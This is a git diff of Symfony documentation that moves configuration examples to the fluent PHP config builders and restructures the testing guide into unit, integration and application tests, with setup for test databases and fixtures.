 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -822,10 +875,12 @@ template fragments. Configure that special URL in the ``fragments`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()->path('/_fragment');
+        };
 
 .. caution::
 
@@ -1041,15 +1096,16 @@ the ``value`` is the Twig namespace, which is explained later:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // directories are relative to the project root dir (but you
-                // can also use absolute directories)
-                'email/default/templates' => null,
-                'backend/templates' => null,
-            ],
-        ]);
+
+            // directories are relative to the project root dir (but you
+            // can also use absolute directories)
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', null);
+        };
 
 When rendering a template, Symfony looks for it first in the ``twig.paths``
 directories that don't define a namespace and then falls back to the default
@@ -1096,13 +1152,14 @@ configuration to define a namespace for each template directory:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => 'email',
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', 'email');
+            $twig->path('backend/templates', 'admin');
+        };
 
 Now, if you render the ``layout.html.twig`` template, Symfony will render the
 ``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to
@@ -1154,3 +1211,4 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..bd8342fed8e 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -39,12 +39,13 @@ main Twig configuration file:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'ga_tracking' => 'UA-xxxxx-x',
-            ],
-        ]);
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
 
 Now, the variable ``ga_tracking`` is available in all Twig templates, so you
 can use it without having to pass it explicitly from the controller or service
@@ -91,19 +92,21 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="uuid">@App\Generator\UuidGenerator</twig:global>
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'uuid' => '@App\Generator\UuidGenerator',
-            ],
-        ]);
+
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
+        };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the
 ``UuidGenerator`` service:
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index eed8f09b5e7..3a117148983 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -60,12 +60,14 @@ default content rendering some template:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => [
-                'hinclude_default_template' => 'hinclude.html.twig',
-            ],
-        ]);
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
 
 You can define default templates per ``render()`` function (which will override
 any global default template that is defined):
@@ -88,7 +90,7 @@ Use the ``attributes`` option to define the value of hinclude.js options:
 
     {# by default, cross-site requests don't use credentials such as cookies, authorization
        headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
 
     {# by default, the JavaScript code included in the loaded contents is not run;
        set this option to 'true' to run that JavaScript code #}
diff --git a/testing.rst b/testing.rst
index ead9a1a702b..a70857dc0ee 100644
--- a/testing.rst
+++ b/testing.rst
@@ -11,598 +11,585 @@ using both functional and unit tests.
 The PHPUnit Testing Framework
 -----------------------------
 
-Symfony integrates with an independent library called `PHPUnit`_ to give you a
-rich testing framework. This article won't cover PHPUnit itself, which has its
-own excellent `documentation`_.
+Symfony integrates with an independent library called `PHPUnit`_ to give
+you a rich testing framework. This article won't cover PHPUnit itself,
+which has its own excellent `documentation`_.
 
-Before creating your first test, install the `PHPUnit Bridge component`_, which
-wraps the original PHPUnit binary to provide additional features:
+Before creating your first test, install ``phpunit/phpunit`` and the
+``symfony/test-pack``, which installs some other packages providing useful
+Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/phpunit-bridge
+    $ composer require --dev phpunit/phpunit symfony/test-pack
 
-After the library downloads, try executing PHPUnit by running (the first time
-you run this, it will download PHPUnit itself and make its classes available in
-your app):
+After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ ./bin/phpunit
+    $ php ./vendor/bin/phpunit
+
+This commands automatically runs your application's tests. Each test is a
+PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
+the ``tests/`` directory of your application.
+
+PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
+application. The default configuration provided by Symfony Flex will be
+enough in most cases. Read the `PHPUnit documentation`_ to discover all
+possible configuration options (e.g. to enable code coverage or to split
+your test into multiple "test suites").
 
 .. note::
 
-    The ``./bin/phpunit`` command is created by :ref:`Symfony Flex <symfony-flex>`
-    when installing the ``phpunit-bridge`` package. If the command is missing, you
-    can remove the package (``composer remove symfony/phpunit-bridge``) and install
-    it again. Another solution is to remove the project's ``symfony.lock`` file and
-    run ``composer install`` to force the execution of all Symfony Flex recipes.
+    :ref:`Symfony Flex <symfony-flex>` automatically creates
+    ``phpunit.xml.dist`` and ``tests/bootstrap.php``. If these files are
+    missing, you can try running the recipe again using
+    ``composer recipes:install phpunit/phpunit --force -v``.
 
-Each test - whether it's a unit test or a functional test - is a PHP class
-that should live in the ``tests/`` directory of your application. If you follow
-this rule, then you can run all of your application's tests with the same
-command as before.
+Types of Tests
+--------------
 
-PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-Symfony application.
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
 
-.. tip::
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
 
-    Use the ``--coverage-*`` command options to generate code coverage reports.
-    Read the PHPUnit manual to learn more about `code coverage analysis`_.
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the fully
+    working application, those are called *Application tests*.
 
-.. index::
-   single: Tests; Unit tests
+`Application Tests`_
+    Application tests test the behavior of a complete application. They
+    make HTTP requests (both real and simulated ones) and test that the
+    response is as expected.
 
 Unit Tests
 ----------
 
-A `unit test`_ ensures that individual units of source code (e.g. a single class
-or some specific method in some class) meet their design and behave as intended.
-If you want to test an entire feature of your application (e.g. registering as a
-user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
+A `unit test`_ ensures that individual units of source code (e.g. a single
+class or some specific method in some class) meet their design and behave
+as intended. Writing unit tests in a Symfony application is no different
+from writing standard PHPUnit unit tests. You can learn about it in the
+PHPUnit documentation: `Writing Tests for PHPUnit`_.
 
-Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have an class called ``Calculator``
-in the ``src/Util/`` directory of the app::
+By convention, the ``tests/`` directory should replicate the directory
+of your application for unit tests. So, if you're testing a class in the
+``src/Form/`` directory, put the test in the ``tests/Form/`` directory.
+Autoloading is automatically enabled via the ``vendor/autoload.php`` file
+(as configured by default in the ``phpunit.xml.dist`` file).
 
-    // src/Util/Calculator.php
-    namespace App\Util;
+You can run tests using the ``./vendor/bin/phpunit`` command:
 
-    class Calculator
-    {
-        public function add($a, $b)
-        {
-            return $a + $b;
-        }
-    }
+.. code-block:: terminal
+
+    # run all tests of the application
+    $ php ./vendor/bin/phpunit
 
-To test this, create a ``CalculatorTest`` file in the ``tests/Util`` directory
-of your application::
+    # run all tests in the Form/ directory
+    $ php ./vendor/bin/phpunit tests/Form
 
-    // tests/Util/CalculatorTest.php
-    namespace App\Tests\Util;
+    # run tests for the UserType class
+    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
 
-    use App\Util\Calculator;
-    use PHPUnit\Framework\TestCase;
+.. tip::
+
+    In large test suites, it can make sense to create subdirectories for
+    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+
+.. _integration-tests:
+
+Integration Tests
+-----------------
+
+An integration test will test a larger part of your application compared to
+a unit test (e.g. a combination of services). Integration tests might want
+to use the Symfony Kernel to fetch a service from the dependency injection
+container.
+
+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+class to help you creating and booting the kernel in your tests using
+``bootKernel()``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
 
-    class CalculatorTest extends TestCase
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testAdd()
+        public function testSomething()
         {
-            $calculator = new Calculator();
-            $result = $calculator->add(30, 12);
+            self::bootKernel();
 
-            // assert that your calculator added the numbers correctly!
-            $this->assertEquals(42, $result);
+            // ...
         }
     }
 
+The ``KernelTestCase`` also makes sure your kernel is rebooted for each
+test. This assures that each test is run independently from each other.
+
+To run your application tests, the ``KernelTestCase`` class needs to
+find the application kernel to initialize. The kernel class is
+usually defined in the ``KERNEL_CLASS`` environment variable
+(included in the default ``.env.test`` file provided by Symfony Flex):
+
+.. code-block:: env
+
+    # .env.test
+    KERNEL_CLASS=App\Kernel
+
 .. note::
 
-    By convention, the ``tests/`` directory should replicate the directory
-    of your application for unit tests. So, if you're testing a class in the
-    ``src/Util/`` directory, put the test in the ``tests/Util/``
-    directory.
+    If your use case is more complex, you can also override the
+    ``getKernelClass()`` or ``createKernel()`` methods of your functional
+    test, which take precedence over the ``KERNEL_CLASS`` env var.
 
-Like in your real application - autoloading is automatically enabled via the
-``vendor/autoload.php`` file (as configured by default in the
-``phpunit.xml.dist`` file).
+Set-up your Test Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can also limit a test run to a directory or a specific test file:
+The tests create a kernel that runs in the ``test``
+:ref:`environment <configuration-environments>`. This allows to have
+special settings for your tests inside ``config/packages/test/``.
 
-.. code-block:: terminal
+If you have Symfony Flex installed, some packages already installed some
+useful test configuration. For example, by default, the Twig bundle is
+configured to be especially strict to catch errors before deploying your
+code to production:
 
-    # run all tests of the application
-    $ php bin/phpunit
+.. configuration-block::
 
-    # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+    .. code-block:: yaml
 
-    # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+        # config/packages/test/twig.yaml
+        twig:
+            strict_variables: true
 
-.. index::
-   single: Tests; Functional tests
+    .. code-block:: xml
 
-.. _functional-tests:
+        <!-- config/packages/test/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
-Functional Tests
-----------------
+            <framework:config strict-variables="true"/>
+        </container>
 
-Functional tests check the integration of the different layers of an
-application (from the routing to the views). They are no different from unit
-tests as far as PHPUnit is concerned, but they have a very specific workflow:
+    .. code-block:: php
 
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
+        // config/packages/test/twig.php
+        use Symfony\Config\TwigConfig;
 
-Before creating your first test, install these packages that provide some of the
-utilities used in the functional tests:
+        return static function (TwigConfig $twig) {
+            $twig->strictVariables(true);
+        };
 
-.. code-block:: terminal
+You can also use a different environment entirely, or override the default
+debug mode (``true``) by passing each as options to the ``bootKernel()``
+method::
 
-    $ composer require --dev symfony/browser-kit symfony/css-selector
+    self::bootKernel([
+        'environment' => 'my_test_env',
+        'debug'       => false,
+    ]);
 
-Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-Functional tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+.. tip::
 
-As an example, a test could look like this::
+    It is recommended to run your test with ``debug`` set to ``false`` on
+    your CI server, as it significantly improves test performance. This
+    disables clearing the cache. If your tests don't run in a clean
+    environment each time, you have to manually clear it using for instance
+    this code in ``tests/bootstrap.php``::
 
-    // tests/Controller/PostControllerTest.php
-    namespace App\Tests\Controller;
+        // ...
 
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+        // ensure a fresh cache when debug mode is disabled
+        (new \Symfony\Component\Filesystem\Filesystem())->remove(__DIR__.'/../var/cache/test');
 
-    class PostControllerTest extends WebTestCase
+Customizing Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to customize some environment variables for your tests (e.g. the
+``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
+need in your ``.env.test`` file:
+
+.. code-block:: text
+
+    # .env.test
+
+    # ...
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
+
+In the test environment, these env files are read (if vars are duplicated
+in them, files lower in the list override previous items):
+
+#. ``.env``: containing env vars with application defaults;
+#. ``.env.test``: overriding/setting specific test values or vars;
+#. ``.env.test.local``: overriding settings specific for this machine.
+
+.. caution::
+
+    The ``.env.local`` file is **not** used in the test environment, to
+    make each test set-up as consistent as possible.
+
+Retrieving Services in the Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In your integration tests, you often need to fetch the service from the
+service container to call a specific method. After booting the kernel,
+the container is stored in ``static::getContainer()``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\NewsletterGenerator;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testShowPost()
+        public function testSomething()
         {
-            $client = static::createClient();
+            // (1) boot the Symfony kernel
+            self::bootKernel();
 
-            $client->request('GET', '/post/hello-world');
+            // (2) use static::getContainer() to access the service container
+            $container = static::getContainer();
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+            // (3) run some service & test the result
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
+
+            $this->assertEquals(..., $newsletter->getContent());
         }
     }
 
-.. tip::
+The container in ``static::getContainer()`` is actually a special test container.
+It gives you access to both the public services and the non-removed
+:ref:`private services <container-public>` services.
+
+.. note::
 
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
+    If you need to test private services that have been removed (those who
+    are not used by any other services), you need to declare those private
+    services as public in the ``config/services_test.yaml`` file.
 
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+.. _testing-databases:
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+Configuring a Database for Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    $crawler = $client->request('GET', '/post/hello-world');
+Tests that interact with the database should use their own separate
+database to not mess with the databases used in the other
+:ref:`configuration environments <configuration-environments>`.
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+To do that, edit or create the ``.env.test.local`` file at the root
+directory of your project and define the new value for the ``DATABASE_URL``
+env var:
 
-.. tip::
+.. code-block:: env
 
-    The ``Crawler`` only works when the response is an XML or an HTML document.
-    To get the raw content response, call ``$client->getResponse()->getContent()``.
+    # .env.test.local
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-The crawler integrates with the ``symfony/css-selector`` component to give you the
-power of CSS selectors to find content in a page. To install the CSS selector
-component, run:
+This assumes that each developer/machine uses a different database for the
+tests. If the test set-up is the same on each machine, use the ``.env.test``
+file instead and commit it to the shared repository. Learn more about
+:ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
 
-.. code-block:: terminal
+After that, you can create the test database and all tables using:
 
-    $ composer require --dev symfony/css-selector
+.. code-block:: terminal
 
-Now you can use CSS selectors with the crawler. To assert that the phrase
-"Hello World" is present in the page's main title, you can use this assertion::
+    # create the test database
+    $ php bin/console --env=test doctrine:database:create
 
-    $this->assertSelectorTextContains('html h1.title', 'Hello World');
+    # create the tables/columns in the test database
+    $ php bin/console --env=test doctrine:schema:create
 
-This assertion checks if the first element matching the CSS selector contains
-the given text. This assert calls ``$crawler->filter('html h1.title')``
-internally, which allows you to use CSS selectors to filter any HTML element in
-the page and check for its existence, attributes, text, etc.
+.. tip::
 
-The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is
-available thanks to the ``WebTestCase`` class.
+    A common practice is to append the ``_test`` suffix to the original
+    database names in tests. If the database name in production is called
+    ``project_acme`` the name of the testing database could be
+    ``project_acme_test``.
 
-The crawler can also be used to interact with the page. Click on a link by first
-selecting it with the crawler using either an XPath expression or a CSS selector,
-then use the client to click on it::
+Resetting the Database Automatically Before each Test
+.....................................................
 
-    $link = $crawler
-        ->filter('a:contains("Greet")') // find all links with the text "Greet"
-        ->eq(1) // select the second link in the list
-        ->link()
-    ;
+Tests should be independent from each other to avoid side effects. For
+example, if some test modifies the database (by adding or removing an
+entity) it could change the results of other tests.
 
-    // and click it
-    $crawler = $client->click($link);
+The `DAMADoctrineTestBundle`_ uses Doctrine transactions to let each test
+interact with an unmodified database. Install it using:
 
-Submitting a form is very similar: select a form button, optionally override
-some form values and submit the corresponding form::
+.. code-block:: terminal
 
-    $form = $crawler->selectButton('submit')->form();
+    $ composer require --dev dama/doctrine-test-bundle
 
-    // set some values
-    $form['name'] = 'Lucas';
-    $form['form_name[subject]'] = 'Hey there!';
+Now, enable it as a PHPUnit extension:
 
-    // submit the form
-    $crawler = $client->submit($form);
+.. code-block:: xml
 
-.. tip::
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
 
-    The form can also handle uploads and contains methods to fill in different types
-    of form fields (e.g. ``select()`` and ``tick()``). For details, see the
-    `Forms`_ section below.
+        <extensions>
+            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
+        </extensions>
+    </phpunit>
 
-Now that you can navigate through an application, use assertions to test
-that it actually does what you expect it to. Use the Crawler to make assertions
-on the DOM::
+That's it! This bundle uses a clever trick: it begins a database
+transaction before every test and rolls it back automatically after the
+test finishes to undo all changes. Read more in the documentation of the
+`DAMADoctrineTestBundle`_.
 
-    // asserts that the response matches a given CSS selector.
-    $this->assertGreaterThan(0, $crawler->filter('h1')->count());
+.. _doctrine-fixtures:
 
-Or test against the response content directly if you just want to assert that
-the content contains some text or in case that the response is not an XML/HTML
-document::
+Load Dummy Data Fixtures
+........................
 
-    $this->assertStringContainsString(
-        'Hello World',
-        $client->getResponse()->getContent()
-    );
+Instead of using the real data from the production database, it's common to
+use fake or dummy data in the test database. This is usually called
+*"fixtures data"* and Doctrine provides a library to create and load them.
+Install it with:
 
-.. tip::
+.. code-block:: terminal
 
-    Instead of installing each testing dependency individually, you can use the
-    ``test`` :ref:`Symfony pack <symfony-packs>` to install all those dependencies at once:
+    $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-    .. code-block:: terminal
+Then, use the ``make:fixtures`` command of the `SymfonyMakerBundle`_ to
+generate an empty fixture class:
 
-        $ composer require --dev symfony/test-pack
+.. code-block:: terminal
 
-.. index::
-   single: Tests; Assertions
+    $ php bin/console make:fixtures
 
-.. sidebar:: Useful Assertions
+    The class name of the fixtures to create (e.g. AppFixtures):
+    > ProductFixture
 
-    To get you started faster, here is a list of the most common and
-    useful test assertions::
+Then you modify use this class to load new entities in the database. For
+instance, to load ``Product`` objects into Doctrine, use::
 
-        use Symfony\Component\HttpFoundation\Response;
+    // src/DataFixtures/ProductFixture.php
+    namespace App\DataFixtures;
 
-        // ...
+    use App\Entity\Product;
+    use Doctrine\Bundle\FixturesBundle\Fixture;
+    use Doctrine\Persistence\ObjectManager;
 
-        // asserts that there is at least one h2 tag with the class "subtitle"
-        // the third argument is an optional message shown on failed tests
-        $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-            'There is at least one subtitle'
-        );
-
-        // asserts that there are exactly 4 h2 tags on the page
-        $this->assertCount(4, $crawler->filter('h2'));
-
-        // asserts that the "Content-Type" header is "application/json"
-        $this->assertResponseHeaderSame('Content-Type', 'application/json');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->headers->contains(
-            'Content-Type', 'application/json'
-        ));
-
-        // asserts that the response content contains a string
-        $this->assertStringContainsString('foo', $client->getResponse()->getContent());
-        // ...or matches a regex
-        $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-        // asserts that the response status code is 2xx
-        $this->assertResponseIsSuccessful();
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isSuccessful());
-
-        // asserts that the response status code is 404 Not Found
-        $this->assertTrue($client->getResponse()->isNotFound());
-
-        // asserts a specific status code
-        $this->assertResponseStatusCodeSame(201);
-        // HTTP status numbers are available as constants too:
-        // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-        // equivalent to:
-        $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-        // asserts that the response is a redirect to /demo/contact
-        $this->assertResponseRedirects('/demo/contact');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-        // ...or check that the response is a redirect to any URL
-        $this->assertResponseRedirects();
-
-.. _testing-data-providers:
-
-Testing against Different Sets of Data
---------------------------------------
-
-It's common to have to execute the same test against different sets of data to
-check the multiple conditions code must handle. This is solved with PHPUnit's
-`data providers`_, which work both for unit and functional tests.
-
-First, add one or more arguments to your test method and use them inside the
-test code. Then, define another method which returns a nested array with the
-arguments to use on each test run. Lastly, add the ``@dataProvider`` annotation
-to associate both methods::
-
-    /**
-     * @dataProvider provideUrls
-     */
-    public function testPageIsSuccessful($url)
+    class ProductFixture extends Fixture
     {
-        $client = self::createClient();
-        $client->request('GET', $url);
+        public function load(ObjectManager $manager)
+        {
+            $product = new Product();
+            $product->setName('Priceless widget');
+            $product->setPrice(14.50);
+            $product->setDescription('Ok, I guess it *does* have a price');
+            $manager->persist($product);
 
-        $this->assertTrue($client->getResponse()->isSuccessful());
-    }
+            // add more products
 
-    public function provideUrls()
-    {
-        return [
-            ['/'],
-            ['/blog'],
-            ['/contact'],
-            // ...
-        ];
+            $manager->flush();
+        }
     }
 
-.. index::
-   single: Tests; Client
+Empty the database and reload *all* the fixture classes with:
 
-Working with the Test Client
-----------------------------
+.. code-block:: terminal
 
-The test client simulates an HTTP client like a browser and makes requests
-into your Symfony application::
+    $ php bin/console doctrine:fixtures:load
 
-    $crawler = $client->request('GET', '/post/hello-world');
+For more information, read the `DoctrineFixturesBundle documentation`_.
 
-The ``request()`` method takes the HTTP method and a URL as arguments and
-returns a ``Crawler`` instance.
+.. _functional-tests:
 
-.. tip::
+Application Tests
+-----------------
 
-    Hardcoding the request URLs is a best practice for functional tests. If the
-    test generates URLs using the Symfony router, it won't detect any change
-    made to the application URLs which may impact the end users.
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            string $method,
-            string $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            string $content = null,
-            bool $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
-
-Use the crawler to find DOM elements in the response. These elements can then
-be used to click on links and submit forms::
-
-    $crawler = $client->clickLink('Go elsewhere...');
-
-    $crawler = $client->submitForm('validate', ['name' => 'Fabien']);
-
-The ``clickLink()`` and ``submitForm()`` methods both return a ``Crawler`` object.
-These methods are the best way to browse your application as it takes care
-of a lot of things for you, like detecting the HTTP method from a form and
-giving you a nice API for uploading files.
-
-The ``request()`` method can also be used to simulate form submissions directly
-or perform more complex requests. Some useful examples::
-
-    // submits a form directly (but using the Crawler is easier!)
-    $client->request('POST', '/submit', ['name' => 'Fabien']);
-
-    // submits a raw JSON string in the request body
-    $client->request(
-        'POST',
-        '/submit',
-        [],
-        [],
-        ['CONTENT_TYPE' => 'application/json'],
-        '{"name":"Fabien"}'
-    );
-
-    // Form submission with a file upload
-    use Symfony\Component\HttpFoundation\File\UploadedFile;
-
-    $photo = new UploadedFile(
-        '/path/to/photo.jpg',
-        'photo.jpg',
-        'image/jpeg',
-        null
-    );
-    $client->request(
-        'POST',
-        '/submit',
-        ['name' => 'Fabien'],
-        ['photo' => $photo]
-    );
-
-    // Perform a DELETE request and pass HTTP headers
-    $client->request(
-        'DELETE',
-        '/post/12',
-        [],
-        [],
-        ['PHP_AUTH_USER' => 'username', 'PHP_AUTH_PW' => 'pa$$word']
-    );
-
-Last but not least, you can force each request to be executed in its own PHP
-process to avoid any side effects when working with several clients in the same
-script::
-
-    $client->insulate();
-
-AJAX Requests
-~~~~~~~~~~~~~
-
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
-method, which has the same arguments as the ``request()`` method, and it's a
-shortcut to make AJAX requests::
+Application tests check the integration of all the different layers of the
+application (from the routing to the views). They are no different from
+unit tests or integration tests as far as PHPUnit is concerned, but they
+have a very specific workflow:
 
-    // the required HTTP_X_REQUESTED_WITH header is added automatically
-    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+#. :ref:`Make a request <testing-applications-arrange>`;
+#. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
+#. :ref:`Test the response <testing-application-assertions>`;
+#. Rinse and repeat.
 
-Browsing
-~~~~~~~~
+.. note::
 
-The Client supports many operations that can be done in a real browser::
+    The tools used in this section can be installed via the ``symfony/test-pack``,
+    use ``composer require symfony/test-pack`` if you haven't done so already.
 
-    $client->back();
-    $client->forward();
-    $client->reload();
+Write Your First Application Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // clears all cookies and the history
-    $client->restart();
+Application tests are PHP files that typically live in the ``tests/Controller/``
+directory of your application. They often extend
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. This class
+adds special logic on top of the ``KernelTestCase``. You can read more
+about that in the above :ref:`section on integration tests <integration-tests>`.
 
-.. note::
+If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest``
+using the ``make:test`` command of the `SymfonyMakerBundle`_:
 
-    The ``back()`` and ``forward()`` methods skip the redirects that may have
-    occurred when requesting a URL, as normal browsers do.
+.. code-block:: terminal
 
-Accessing Internal Objects
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+    $ php bin/console make:test
 
-If you use the client to test your application, you might want to access the
-client's internal objects::
+     Which test type would you like?:
+     > WebTestCase
 
-    $history = $client->getHistory();
-    $cookieJar = $client->getCookieJar();
+     The name of the test class (e.g. BlogPostTest):
+     > Controller\PostControllerTest
 
-You can also get the objects related to the latest request::
+This creates the following test class::
 
-    // the HttpKernel request instance
-    $request = $client->getRequest();
+    // tests/Controller/PostControllerTest.php
+    namespace App\Tests\Controller;
 
-    // the BrowserKit request instance
-    $request = $client->getInternalRequest();
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
-    // the HttpKernel response instance
-    $response = $client->getResponse();
+    class PostControllerTest extends WebTestCase
+    {
+        public function testSomething(): void
+        {
+            // This calls KernelTestCase::bootKernel(), and creates a
+            // "client" that is acting as the browser
+            $client = static::createClient();
 
-    // the BrowserKit response instance
-    $response = $client->getInternalResponse();
+            // Request a specific page
+            $crawler = $client->request('GET', '/');
 
-    // the Crawler instance
-    $crawler = $client->getCrawler();
+            // Validate a successful response and some content
+            $this->assertResponseIsSuccessful();
